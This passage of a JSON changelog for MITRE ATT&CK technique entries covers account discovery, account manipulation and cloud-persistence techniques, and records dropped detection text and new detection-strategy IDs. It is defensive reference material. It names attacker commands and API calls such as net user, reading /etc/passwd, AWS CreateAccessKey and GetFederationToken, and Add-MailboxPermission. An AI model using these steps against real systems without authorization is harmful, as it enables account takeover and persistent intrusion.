"x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.685000+00:00\", \"old_value\": \"2025-04-15 22:25:10.775000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0229: Enumeration of Global Address Lists via Email Account Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:07:55.393000+00:00", + "modified": "2025-10-24 17:48:32.515000+00:00", + "name": "Local Account", + "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS, the dscl . list /Users command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/001", + "external_id": "T1087.001" + }, + { + "source_name": "id man page", + "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.", + "url": "https://linux.die.net/man/1/id" + }, + { + "source_name": "groups man page", + "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.", + "url": "https://linux.die.net/man/1/groups" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021", + "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.", + "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "Miriam Wiesner, @miriamxyra, Microsoft Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Group: Group Enumeration\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.515000+00:00\", \"old_value\": \"2025-04-15 19:58:14.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0036: Group (Group Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0303: Local Account Enumeration Across Host Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:12.196000+00:00", + "modified": "2025-10-24 17:49:10.273000+00:00", + "name": "Account Manipulation", + "description": "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098", + "external_id": "T1098" + }, + { + "source_name": "FireEye SMOKEDHAM June 2021", + "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", + "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html" + }, + { + "source_name": "Microsoft Security Event 4670", + "description": "Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019.", + "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670" + }, + { + "source_name": "Microsoft User Modified Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "source_name": "GitHub Mimikatz Issue 92 June 2017", + "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.", + "url": "https://github.com/gentilkiwi/mimikatz/issues/92" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Praetorian", + "Tim MalcomVetter", + "Wojciech Lesicki", + "Arad Inbar, Fidelis Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Group: Group Modification\", \"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.273000+00:00\", \"old_value\": \"2025-04-15 19:58:54.718000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n\\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\\n-\\n-Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)\"}}}", + "previous_version": "2.8", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0036: Group (Group Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0096: Account Manipulation Behavior Chain Detection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:10:15.008000+00:00", + "modified": "2025-10-24 17:49:04.839000+00:00", + "name": "Additional Cloud Credentials", + "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/001", + "external_id": "T1098.001" + }, + { + "source_name": "Crowdstrike AWS User Federation Persistence", + "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.", + "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "SpecterOps Azure Privilege Escalation", + "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.", + "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5" + }, + { + "source_name": "Demystifying Azure AD Service Principals", + "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.", + "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/" + }, + { + "source_name": "Lacework AI Resource Hijacking 2024", + "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.", + "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts" + }, + { + "source_name": "GCP SSH Key Add", + "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add" + }, + { + "source_name": "Permiso Scattered Spider 2023", + "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.", + "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud" + }, + { + "source_name": "Blue Cloud of Death Video", + "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.", + "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815" + }, + { + "source_name": "Blue Cloud of Death", + "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.", + "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1" + }, + { + "source_name": "Microsoft Entra ID App Passwords", + "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.", + "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Mandiant APT42 Operations 2024", + "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations" + }, + { + "source_name": "Expel Behind the Scenes", + "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.", + "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/" + }, + { + "source_name": "Sysdig ScarletEel 2.0", + "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.", + "url": "https://sysdig.com/blog/scarleteel-2-0/" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Expel", + "Oleg Kolesnikov, Securonix", + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Zur Ulianitzky, XM Cyber", + "Alex Soler, AttackIQ", + "Dylan Silva, AWS Security", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider", + "SaaS" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.839000+00:00\", \"old_value\": \"2025-04-15 21:45:50.674000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n\\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\\n-\\n-Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\"}}}", + "previous_version": "2.8", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0531: Detection Strategy for Additional Cloud Credentials in IaaS/IdP/SaaS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:59:45.362000+00:00", + "modified": "2025-10-24 17:48:35.082000+00:00", + "name": "Additional Cloud Roles", + "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1098/003", + "external_id": "T1098.003" + }, + { + "source_name": "Expel AWS Attacker", + "description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.", + "url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/" + }, + { + "source_name": "Microsoft O365 Admin Roles", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + }, + { + "source_name": "AWS IAM Policies and Permissions", + "description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html" + }, + { + "source_name": "Google Cloud IAM Policies", + "description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.", + "url": "https://cloud.google.com/iam/docs/policies" + }, + { + "source_name": "Invictus IR DangerDev 2024", + "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", + "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me" + }, + { + "source_name": "Microsoft Support O365 Add Another Admin, October 2019", + "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.", + "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + }, + { + "source_name": "Rhino Security Labs AWS Privilege Escalation", + "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.", + "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Alex Parsons, Crowdstrike", + "Chris Romano, Crowdstrike", + "Wojciech Lesicki", + "Pi\u00e0 Consigny, Tenable", + "Cl\u00e9ment Notin, Tenable", + "Praetorian", + "Alex Soler, AttackIQ", + "Arad Inbar, Fidelis Security", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.082000+00:00\", \"old_value\": \"2025-04-15 21:46:09.054000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. \"}}}", + "previous_version": "2.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0277: Detection Strategy for Role Addition to Cloud Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-19 16:54:28.516000+00:00", + "modified": "2025-10-24 17:49:32.801000+00:00", + "name": "Additional Email Delegate Permissions", + "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Mandiant Defend UNC2452 White 